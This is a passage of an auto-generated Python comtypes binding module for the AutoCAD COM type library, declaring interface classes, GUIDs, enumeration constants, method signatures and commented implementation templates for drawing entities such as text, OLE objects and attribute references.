[IAcadObjectEvents]\n\nclass IAcadDynamicBlockReferenceProperty(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{FEBC2207-9463-4CD9-B6F4-8FDE6B980F68}')\n _idlflags_ = ['dual', 'oleautomation']\n\n# values for enumeration 'AcDynamicBlockReferencePropertyUnitsType'\nacNoUnits = 0\nacAngular = 1\nacDistance = 2\nacArea = 3\nAcDynamicBlockReferencePropertyUnitsType = c_int # enum\nIAcadDynamicBlockReferenceProperty._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'PropertyName',\n ( ['out', 'retval'], POINTER(BSTR), 'PropertyName' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'ReadOnly',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'ReadOnly' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'show',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'show' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Description',\n ( ['out', 'retval'], POINTER(BSTR), 'Description' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'AllowedValues',\n ( ['out', 'retval'], POINTER(VARIANT), 'AllowedValues' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Value',\n ( ['out', 'retval'], POINTER(VARIANT), 'Value' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Value',\n ( ['in'], VARIANT, 'Value' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'UnitsType',\n ( ['out', 'retval'], POINTER(AcDynamicBlockReferencePropertyUnitsType), 'Units' )),\n]\n################################################################\n## code template for IAcadDynamicBlockReferenceProperty implementation\n##class IAcadDynamicBlockReferenceProperty_Impl(object):\n## @property\n## def PropertyName(self):\n## '-no docstring-'\n## #return PropertyName\n##\n## @property\n## def ReadOnly(self):\n## '-no docstring-'\n## #return ReadOnly\n##\n## @property\n## def show(self):\n## '-no docstring-'\n## #return show\n##\n## @property\n## def Description(self):\n## '-no docstring-'\n## #return Description\n##\n## @property\n## def AllowedValues(self):\n## '-no docstring-'\n## #return AllowedValues\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## Value = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def UnitsType(self):\n## '-no docstring-'\n## #return Units\n##\n\nclass AcadViews(CoClass):\n _reg_clsid_ = GUID('{B32A697C-2268-4828-B757-507C783CFC70}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadViews(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{64376B3F-6C86-4CA3-AF69-48EA2EAE3FB1}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadViews._com_interfaces_ = [IAcadViews]\nAcadViews._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadOle(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{249F558F-477A-4C32-9B2C-93CDFCFDDEE1}')\n _idlflags_ = ['dual', 'oleautomation']\n\n# values for enumeration 'AcOleType'\nacOTLink = 1\nacOTEmbedded = 2\nacOTStatic = 3\nAcOleType = c_int # enum\n\n# values for enumeration 'AcOlePlotQuality'\nacOPQMonochrome = 0\nacOPQLowGraphics = 1\nacOPQHighGraphics = 2\nAcOlePlotQuality = c_int # enum\nIAcadOle._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'insPoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'insPoint' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rot' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rot' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Width',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Width',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'ScaleWidth',\n ( ['out', 'retval'], POINTER(c_double), 'swidth' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'ScaleWidth',\n ( ['in'], c_double, 'swidth' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'ScaleHeight',\n ( ['out', 'retval'], POINTER(c_double), 'sheight' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'ScaleHeight',\n ( ['in'], c_double, 'sheight' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'LockAspectRatio',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'aspect' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'LockAspectRatio',\n ( ['in'], VARIANT_BOOL, 'aspect' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'OleItemType',\n ( ['out', 'retval'], POINTER(AcOleType), 'pType' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'OleItemType',\n ( ['in'], AcOleType, 'pType' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'OlePlotQuality',\n ( ['out', 'retval'], POINTER(AcOlePlotQuality), 'pPQuality' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'OlePlotQuality',\n ( ['in'], AcOlePlotQuality, 'pPQuality' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'OleSourceApp',\n ( ['out', 'retval'], POINTER(BSTR), 'srcApp' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'OleSourceApp',\n ( ['in'], BSTR, 'srcApp' )),\n]\n################################################################\n## code template for IAcadOle implementation\n##class IAcadOle_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return insPoint\n## def _set(self, insPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rot\n## def _set(self, rot):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## Width = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return swidth\n## def _set(self, swidth):\n## '-no docstring-'\n## ScaleWidth = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return sheight\n## def _set(self, sheight):\n## '-no docstring-'\n## ScaleHeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return aspect\n## def _set(self, aspect):\n## '-no docstring-'\n## LockAspectRatio = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pType\n## def _set(self, pType):\n## '-no docstring-'\n## OleItemType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pPQuality\n## def _set(self, pPQuality):\n## '-no docstring-'\n## OlePlotQuality = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return srcApp\n## def _set(self, srcApp):\n## '-no docstring-'\n## OleSourceApp = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadViewports(CoClass):\n _reg_clsid_ = GUID('{0FC62543-A5F1-4C19-9682-DE8408A4B212}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadViewports(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{D486D6C3-A10D-4ED0-9190-D0389357354E}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadViewports._com_interfaces_ = [IAcadViewports]\nAcadViewports._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadShape(CoClass):\n _reg_clsid_ = GUID('{B8C7D559-9516-4157-B063-613BFAF83BB8}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadShape(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{97F318AA-C86D-476C-AC0C-1904F6876C32}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadShape._com_interfaces_ = [IAcadShape]\nAcadShape._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadGroups(CoClass):\n _reg_clsid_ = GUID('{A3808A1E-1CAC-4C14-A443-998F26669FF1}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadGroups(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{A6476F94-1673-4E4F-B046-38332036BB84}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadGroups._com_interfaces_ = [IAcadGroups]\nAcadGroups._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadRay(CoClass):\n _reg_clsid_ = GUID('{1E8D9695-E3C1-4047-8847-0D01B0A43564}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadRay(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{ADC3F03F-8CA5-43EA-A125-A758923DE92A}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadRay._com_interfaces_ = [IAcadRay]\nAcadRay._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadBlocks(CoClass):\n _reg_clsid_ = GUID('{8A8FD330-D31D-4639-BD3B-569163B2EBE9}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadBlocks(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{5BC550E4-BA3C-4B1D-AFC6-FB869F2D9E49}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadBlocks._com_interfaces_ = [IAcadBlocks]\nAcadBlocks._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcPointCloudExStylizationType'\nacRGB = 0\nacObject = 1\nacNormals = 2\nacIntensities = 3\nacElevation = 4\nacClassification = 5\nAcPointCloudExStylizationType = c_int # enum\nclass AcadText(CoClass):\n _reg_clsid_ = GUID('{AFD81966-5CBF-4756-9061-EB5069C54DBC}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadText(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{BDF522E4-FB60-423D-82DE-EB422E0192DC}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadText._com_interfaces_ = [IAcadText]\nAcadText._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadLayouts(CoClass):\n _reg_clsid_ = GUID('{D8842A05-F84A-404B-9ADF-C9D380F0262D}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadLayouts(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{86E36A88-D3F5-4595-A459-7E99125437A0}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadLayouts._com_interfaces_ = [IAcadLayouts]\nAcadLayouts._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadTolerance(CoClass):\n _reg_clsid_ = GUID('{FBE13464-124F-4A81-8B5C-04DE69EAC06F}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadTolerance(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{5D10173F-7DBD-4633-9094-F593B273218D}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadTolerance._com_interfaces_ = [IAcadTolerance]\nAcadTolerance._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcPointCloudColorType'\nacTrueColor = 0\nacByColor = 1\nAcPointCloudColorType = c_int # enum\nclass AcadPlotConfigurations(CoClass):\n _reg_clsid_ = GUID('{3DB4B2BF-F58A-407D-8626-4CBDE86C1FB0}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadPlotConfigurations(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{0465A6BB-26BD-4D21-A948-A2FACD9D83A0}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadPlotConfigurations._com_interfaces_ = [IAcadPlotConfigurations]\nAcadPlotConfigurations._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcPointCloudStylizationType'\nacScanColor = 0\nacObjectColor = 1\nacNormal = 2\nacIntensity = 3\nAcPointCloudStylizationType = c_int # enum\n\n# values for enumeration 'AcWireframeType'\nacIsolines = 0\nacIsoparms = 1\nAcWireframeType = c_int # enum\nclass AcadTrace(CoClass):\n _reg_clsid_ = GUID('{2111BF4D-B691-4E68-A021-4B17CF32AB8F}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadTrace(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{DC97E062-D7A8-47EC-88B1-3B33A8D4692B}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadTrace._com_interfaces_ = [IAcadTrace]\nAcadTrace._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcPointCloudIntensityStyle'\nacIntensityGrayscale = 0\nacIntensityRainbow = 1\nacIntensityRed = 2\nacIntensityGreen = 3\nacIntensityBlue = 4\nacIntensityEditableFlag = 5\nAcPointCloudIntensityStyle = c_int # enum\nclass AcadEntity(CoClass):\n _reg_clsid_ = GUID('{9B768196-44AA-4728-948E-22061D605016}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadEntity._com_interfaces_ = [IAcadEntity]\nAcadEntity._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadXline(CoClass):\n _reg_clsid_ = GUID('{1A368D01-0A8E-496D-9292-E302D4B53063}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadXline(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{D4981074-77B0-4F38-B46E-6068F2DFB1FA}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadXline._com_interfaces_ = [IAcadXline]\nAcadXline._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadPViewport(CoClass):\n _reg_clsid_ = GUID('{894A26C0-7E80-4336-87D4-FE2C758AD888}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadPViewport._com_interfaces_ = [IAcadPViewport]\nAcadPViewport._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadMInsertBlock(CoClass):\n _reg_clsid_ = GUID('{0DA9547B-9E13-4549-8B01-78C314ACCE69}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadBlockReference(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{8A6EBB33-3519-489F-AA4A-5531204FFAD7}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadMInsertBlock(IAcadBlockReference):\n _case_insensitive_ = True\n _iid_ = GUID('{C22F19FC-C649-4BE5-AC84-F51E81D7E636}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadMInsertBlock._com_interfaces_ = [IAcadMInsertBlock]\nAcadMInsertBlock._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadMLine(CoClass):\n _reg_clsid_ = GUID('{208EA3A0-EA41-4378-A434-29CE36732BC1}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadMLine._com_interfaces_ = [IAcadMLine]\nAcadMLine._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass Acad3DPolyline(CoClass):\n _reg_clsid_ = GUID('{3040CCB9-E25B-4087-B36D-D2F409B7338F}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcad3DPolyline(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{46DE8975-5B1F-4E2A-83FA-0BABD8FBE811}')\n _idlflags_ = ['dual', 'oleautomation']\nAcad3DPolyline._com_interfaces_ = [IAcad3DPolyline]\nAcad3DPolyline._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadRasterImage(CoClass):\n _reg_clsid_ = GUID('{C8AC1000-D574-4A8B-AB3C-F345BAEF3683}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadRasterImage(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{19958741-9A6F-4703-A309-3980573EB959}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadRasterImage._com_interfaces_ = [IAcadRasterImage]\nAcadRasterImage._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadRegion(CoClass):\n _reg_clsid_ = GUID('{806B9CA4-9DB9-445A-83D2-87F7BB1D0072}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadRegion(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{27E929CE-D7F3-4BE3-BD00-D8B4B656C2B4}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadRegion._com_interfaces_ = [IAcadRegion]\nAcadRegion._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadExternalReference(CoClass):\n _reg_clsid_ = GUID('{BFBFAA19-212A-47EF-BC01-E730A6E05BB8}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadExternalReference(IAcadBlockReference):\n _case_insensitive_ = True\n _iid_ = GUID('{D99013EF-C216-4B39-9D8D-F3A827B8499B}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadExternalReference._com_interfaces_ = [IAcadExternalReference]\nAcadExternalReference._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass Library(object):\n name = 'AXDBLib'\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\n\nclass Acad3DSolid(CoClass):\n _reg_clsid_ = GUID('{07621A84-9457-415D-BFD7-E93C90966F97}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcad3DSolid(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{41AE765A-A270-4D0F-9E4B-C9DC61A5341F}')\n _idlflags_ = ['dual', 'oleautomation']\nAcad3DSolid._com_interfaces_ = [IAcad3DSolid]\nAcad3DSolid._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadAttributeReference(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{A82ACB8B-A1E0-4A2A-BB26-DBB2136112EF}')\n _idlflags_ = ['dual', 'oleautomation']\n\n# values for enumeration 'AcHorizontalAlignment'\nacHorizontalAlignmentLeft = 0\nacHorizontalAlignmentCenter = 1\nacHorizontalAlignmentRight = 2\nacHorizontalAlignmentAligned = 3\nacHorizontalAlignmentMiddle = 4\nacHorizontalAlignmentFit = 5\nAcHorizontalAlignment = c_int # enum\n\n# values for enumeration 'AcVerticalAlignment'\nacVerticalAlignmentBaseline = 0\nacVerticalAlignmentBottom = 1\nacVerticalAlignmentMiddle = 2\nacVerticalAlignmentTop = 3\nAcVerticalAlignment = c_int # enum\n\n# values for enumeration 'AcAlignment'\nacAlignmentLeft = 0\nacAlignmentCenter = 1\nacAlignmentRight = 2\nacAlignmentAligned = 3\nacAlignmentMiddle = 4\nacAlignmentFit = 5\nacAlignmentTopLeft = 6\nacAlignmentTopCenter = 7\nacAlignmentTopRight = 8\nacAlignmentMiddleLeft = 9\nacAlignmentMiddleCenter = 10\nacAlignmentMiddleRight = 11\nacAlignmentBottomLeft = 12\nacAlignmentBottomCenter = 13\nacAlignmentBottomRight = 14\nAcAlignment = c_int # enum\n\n# values for enumeration 'AcDrawingDirection'\nacLeftToRight = 1\nacRightToLeft = 2\nacTopToBottom = 3\nacBottomToTop = 4\nacByStyle = 5\nAcDrawingDirection = c_int # enum\nIAcadAttributeReference._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(2), 'hidden', 'propget'], HRESULT, 'HorizontalAlignment',\n ( ['out', 'retval'], POINTER(AcHorizontalAlignment), 'horizAlign' )),\n COMMETHOD([dispid(2), 'hidden', 'propput'], HRESULT, 'HorizontalAlignment',\n ( ['in'], AcHorizontalAlignment, 'horizAlign' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'insPoint' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'insPoint' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'ObliqueAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'obliAngle' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'ObliqueAngle',\n ( ['in'], ACAD_ANGLE, 'obliAngle' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scalFactor' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'scalFactor' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'StyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'StyleName',\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'TagString',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrTag' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'TagString',\n ( ['in'], BSTR, 'bstrTag' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'TextAlignmentPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'alignPoint' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'TextAlignmentPoint',\n ( ['in'], VARIANT, 'alignPoint' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'TextGenerationFlag',\n ( ['out', 'retval'], POINTER(c_int), 'textGenFlag' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'TextGenerationFlag',\n ( ['in'], c_int, 'textGenFlag' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'TextString',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrText' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'TextString',\n ( ['in'], BSTR, 'bstrText' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n COMMETHOD([dispid(14), 'hidden', 'propget'], HRESULT, 'VerticalAlignment',\n ( ['out', 'retval'], POINTER(AcVerticalAlignment), 'vertiAlign' )),\n COMMETHOD([dispid(14), 'hidden', 'propput'], HRESULT, 'VerticalAlignment',\n ( ['in'], AcVerticalAlignment, 'vertiAlign' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'FieldLength',\n ( ['out', 'retval'], POINTER(c_int), 'fieldLen' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'FieldLength',\n ( ['in'], c_int, 'fieldLen' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'Alignment',\n ( ['out', 'retval'], POINTER(AcAlignment), 'align' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'Alignment',\n ( ['in'], AcAlignment, 'align' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'UpsideDown',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bUpsideDown' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'UpsideDown',\n ( ['in'], VARIANT_BOOL, 'bUpsideDown' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'Backward',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bBackward' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'Backward',\n ( ['in'], VARIANT_BOOL, 'bBackward' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'Invisible',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInvisible' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'Invisible',\n ( ['in'], VARIANT_BOOL, 'bInvisible' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'Constant',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bConstant' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'LockPosition',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bLockPosition' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'MTextAttribute',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bMTextAttribute' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'MTextAttribute',\n ( ['in'], VARIANT_BOOL, 'bMTextAttribute' )),\n COMMETHOD([dispid(27), 'propget'], HRESULT, 'MTextAttributeContent',\n ( ['out', 'retval'], POINTER(BSTR), 'content' )),\n COMMETHOD([dispid(27), 'propput'], HRESULT, 'MTextAttributeContent',\n ( ['in'], BSTR, 'content' )),\n COMMETHOD([dispid(29)], HRESULT, 'UpdateMTextAttribute'),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'MTextBoundaryWidth',\n ( ['out', 'retval'], POINTER(c_double), 'boundaryWidth' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'MTextBoundaryWidth',\n ( [], c_double, 'boundaryWidth' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'MTextDrawingDirection',\n ( ['out', 'retval'], POINTER(AcDrawingDirection), 'drawDir' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'MTextDrawingDirection',\n ( ['in'], AcDrawingDirection, 'drawDir' )),\n]\n################################################################\n## code template for IAcadAttributeReference implementation\n##class IAcadAttributeReference_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return horizAlign\n## def _set(self, horizAlign):\n## '-no docstring-'\n## HorizontalAlignment = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return insPoint\n## def _set(self, insPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = 